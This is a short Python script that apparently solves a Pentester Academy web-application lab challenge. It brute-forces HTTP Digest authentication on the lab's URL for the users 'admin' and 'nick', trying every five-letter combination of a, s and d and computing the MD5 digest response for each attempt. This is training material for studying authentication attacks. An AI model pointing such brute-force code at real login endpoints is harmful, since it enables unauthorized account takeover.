SecurityTube WAP_Challenge 5

brute5.py

import sys
import requests
import md5
import itertools
from threading import Thread
from httplib2 import Http

url = "http://pentesteracademylab.appspot.com/lab/webapp/digest/1"
listp = []


a = list(itertools.product(['a','s','d'], repeat =  5))

for e in a:
    a = ''.join(e)
    listp.append(a)

def brute(user):


    for p in listp:
         zero = Http()
         r = requests.get(url)  
         b = r.headers.get('www-authenticate', '')
         g =b.split(",")[1].split("nonce=")[1]
         nonce = g[1:-1]
         realm = "Pentester Academy"
         h1 = (user+":"+realm+":"+p)
         ha1 = (md5.md5(h1).hexdigest())
         method = "GET"
         digestURI = "/lab/webapp/digest/1"
         h2 = (method+":"+digestURI)
         ha2 = (md5.md5(h2).hexdigest())
         resp = (ha1+":"+nonce+":"+ha2)
         response = (md5.md5(resp).hexdigest())
         bal = {"Authorization" : 'Digest username="%s", realm="%s", nonce=%s, uri="%s",  response="%s" ' % (user, realm, nonce, digestURI, response)}    
         resp , b =  zero.request(url,"GET" ,"",bal)
         b = resp['status']
         
         if b != "401":             
             print "User = " + user
             print "Password = " + p
             sys.exit(0)  
      

def main():
   users = ['admin' , 'nick']
   for us in users:
     try:
       user = us
       Thread(target = brute , args = (user,)).start()
     except:
       pass

main()